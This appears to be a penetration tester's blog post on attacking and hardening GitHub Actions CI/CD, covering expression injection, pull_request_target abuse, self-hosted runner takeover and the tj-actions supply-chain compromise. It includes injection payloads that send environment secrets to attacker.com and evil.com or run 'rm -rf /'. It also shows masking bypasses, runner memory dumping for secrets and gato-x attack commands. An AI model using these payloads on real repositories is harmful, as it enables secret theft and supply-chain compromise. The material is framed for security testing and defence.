Skip to main content

Command Palette

Search for a command to run...

GitHub Theft Actions

Pentester's Guide to test GitHub's CI/CD

Updated
โ€ข6 min read
GitHub Theft Actions
V

๐Ÿ”’ Security Engineer | Penetration Tester | CTF Player ๐ŸŽฏ Experienced in Product, Cloud & Infrastructure Security. โšก Skilled in Application Security, Multi-Cloud Security, Red Teaming, Penetration Testing, and Security Engineering. ๐ŸŒฑ Exploring GenAI ๐Ÿค– and LLM Security.

Hacking GitHub Actions:

Look, if you're still treating GitHub Actions like some harmless CI/CD tool, you're about to have a bad time. March 2025 showed us what happens when attackers get creative - the tj-actions/changed-files compromise hit over 23,000 repositories in one shot. Not through some zero-day exploit. Not through sophisticated cryptography breaking. Just good old-fashioned trust abuse and some clever git tag manipulation.

Common GitHub Actions Security Vulnerabilities by Prevalence and Severity

Let's cut through the BS and talk about what's actually happening in the wild and how to test for it.

The Attack Surface Nobody's Watching

Here's the thing about GitHub Actions, it's not just running your tests anymore. It's got access to your secrets, can push code to your repo, deploy to production, and if you're using self-hosted runners, it's sitting inside your network. That's a lot of trust for YAML files that most devs copy/paste from Stack Overflow.

The basic components you need to understand:

  • Workflows: Those .github/workflows/*.yml files that define everything

  • Triggers: What kicks off a workflow (push, pull_request, issue_comment, etc.)

  • Runners: Where the code actually executes (GitHub-hosted or self-hosted)

  • Secrets & Tokens: The keys to the kingdom

Each of these is an attack vector. Let me show you how.

Command Injection: The Gift That Keeps on Giving

This is the low-hanging fruit, but it's everywhere. GitHub Actions uses ${{...}} for expressions, and here's the kicker - it's not variable expansion, it's literal string substitution before the shell even sees it.

Take this workflow that looks innocent enough:

name: Greet on New Issue
on:
  issues:
    types: [opened]
jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Greet User
        run: echo "Processing new issue: ${{ github.event.issue.title }}"

Now watch what happens when I create an issue with this title:

Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done

The runner executes:

echo "Processing new issue: Welcome!"; curl http://attacker.com/leak?data=$(env | base64 -w0); echo "Done"

Boom. All your environment variables just got exfiltrated. Including secrets.

Reference for Injectable Inputs

InputWhere It Comes FromExample Payload
github.event.issue.titleIssue titles"; ls -la; #
github.event.comment.bodyComments on issues/PRs"; curl evil.com/$(whoami); #
github.event.pull_request.head.refBranch namesmain"; rm -rf /; #
github.event.pull_request.titlePR titlesFix"; cat /etc/passwd >&2; #

The pull_request_target Foot gun

This one's brutal. The pull_request_target trigger was designed to let workflows comment on PRs from forks. The problem? It runs in the context of the base branch with full permissions, but can be tricked into running code from the PR.

Here's the vulnerable pattern everyone keeps using:

on:
  pull_request_target:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}  # <- THE MISTAKE
      - run: npm test

The attack:

  1. Fork the repo

  2. Add malicious code to package.json or test files

  3. Submit a PR

  4. Your malicious code runs with full repo permissions

This exact pattern compromised repositories from MITRE, Splunk, and Spotify's API library. It's everywhere.

Self-Hosted Runners: ๐Ÿ’ฃ

GitHub-hosted runners are ephemeral.
These runners are temporary and short-lived; they spin up to execute a job and then disappear once the job is completed. This is in contrast to self-hosted runners, which are persistent and remain active on the network.

They spin up, run your job, disappear. Self-hosted runners? They're persistent. They're on your network. They're probably running as a service account with way too many permissions.

The attack path is straightforward:

  1. Find a public repo using self-hosted runners (look for runs-on: self-hosted)

  2. Fork it and create a malicious workflow

  3. Submit a PR - if they have the "first-time contributor" approval requirement, just fix a typo first to become a "contributor"

  4. Your workflow runs on their runner

  5. Drop a reverse shell or C2 implant

  6. Wait for legitimate jobs to run and steal their secrets

The runner is now your persistent backdoor into their network. You can:

  • Steal secrets from future jobs

  • Pivot through their internal network

  • Inject backdoors into their release builds

Secret Exfiltration

GitHub tries to mask secrets in logs, but it's trivial to bypass:

# This gets masked
echo ${{ secrets.API_KEY }}

# This doesn't
echo ${{ secrets.API_KEY }} | base64

# Neither does this
echo ${{ secrets.API_KEY }} | rev

But here's where it gets interesting. The runner process itself holds all secrets in memory. On a self-hosted runner where you have execution:

# Dump the runner process memory
sudo gcore $(pgrep Runner.Listener)

# Extract secrets from the dump
strings core.* | grep -A5 -B5 "SECRET_NAME"

Even better - the runner writes temporary script files with secrets hardcoded:

cat /home/runner/work/_temp/*.sh

Exploiting with gato-x

Let's break something. The Gato (Github Attack TOolkit) - Extreme Edition tool automates most of this:

# Search for vulnerable repos
gato-x s -sg -q 'count:10000 /(issue_comment|pull_request_target)/ file:.github/workflows/ lang:yaml' -oT targets.txt

# Enumerate vulnerabilities
gato-x e -R targets.txt

# Attack a self-hosted runner (with authorization)
gato-x a --runner-on-runner --target ORG/REPO --target-os linux --target-arch x64

Race Conditions: The Actions TOCTOU Attack

Some workflows require manual approval before running PR code. There's a race condition here:

  1. Submit benign PR

  2. Maintainer reviews and approves

  3. Between approval and execution, force-push malicious code

  4. Runner executes the malicious version

The ActionsTOCTOU tool automates this - it watches for approval and instantly swaps the code.

The tj-actions Supply Chain Attack:

This wasn't some theoretical or imaginary attack. In March 2025, attackers compromised tj-actions/changed-files and hit 23,000+ repos. Here's how they did it:

  1. Initial foothold: Found a pull_request_target vulnerability in a completely different repo (spotbugs/sonar-findbugs)

  2. Token theft: Used it to leak a maintainer's Personal Access Token

  3. Lateral movement: That maintainer had access to reviewdog/action-setup

  4. Tag manipulation: Pushed malicious code and updated the v1 tag to point to it

  5. Chain reaction: tj-actions/changed-files used reviewdog in its workflow, got compromised

  6. Mass exploitation: Updated all tj-actions version tags to dump secrets in logs

The clever bit? They didn't modify the main branch. They just moved the version tags. Everyone pulling @v1 or @v35 got owned instantly.

Testing Your Own Workflows

Start with the basics:

# Find risky triggers
grep -r "pull_request_target\|workflow_run" .github/workflows/

# Find expression injection points
grep -r '\${{.*github\.event' .github/workflows/

# Find self-hosted runners
grep -r "runs-on:.*self-hosted" .github/workflows/

For each vulnerable pattern you find, create a test:

  • Command injection: Create issues/PRs with payloads

  • Pwn requests: Fork and submit malicious PRs

  • Secret leakage: Check artifact contents

Defending This Mess

Pin your actions to commit SHAs, not tags:

# Bad
- uses: actions/checkout@v4

# Good
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Never interpolate user input directly:

# Bad
run: echo "${{ github.event.issue.title }}"

# Good
env:
  TITLE: ${{ github.event.issue.title }}
run: echo "$TITLE"

Set minimal permissions:

permissions:
  contents: read
  # Only what you need

For self-hosted runners: Run them in isolated networks. Use ephemeral containers. Never on public repos unless you enjoy pain.

TL;DR

Most organizations have no idea how exposed they are through GitHub Actions. The workflows are public, the attack tools are free, and the payoff for attackers is massive. We're seeing credential theft, supply chain attacks, and full network compromises - all through YAML files that nobody's reviewing.

Start auditing your workflows today. Because if you don't, someone else will.

References

The tj-actions/changed-files Supply Chain Attack
The Hacker News: GitHub Action Compromise Puts CI/CD

GitHub Actions Script Injection Documentation
GitHub Docs: Security hardening for GitHub Actions - Script Injections

Pwn Request Vulnerabilities Research
Praetorian: Pwn Request - Hacking Microsoft GitHub Repositories and More

Self-Hosted Runner Security Analysis
Unit 42: GitHub Actions Supply Chain Attack

ArtiPACKED Vulnerability Research
Unit 42: GitHub Repository Artifacts Leak Tokens

InfoSec Blog

Part 1 of 1

All the things Cyber Security. Writeups about vulnerabilities or techniques learnt, identified or worked.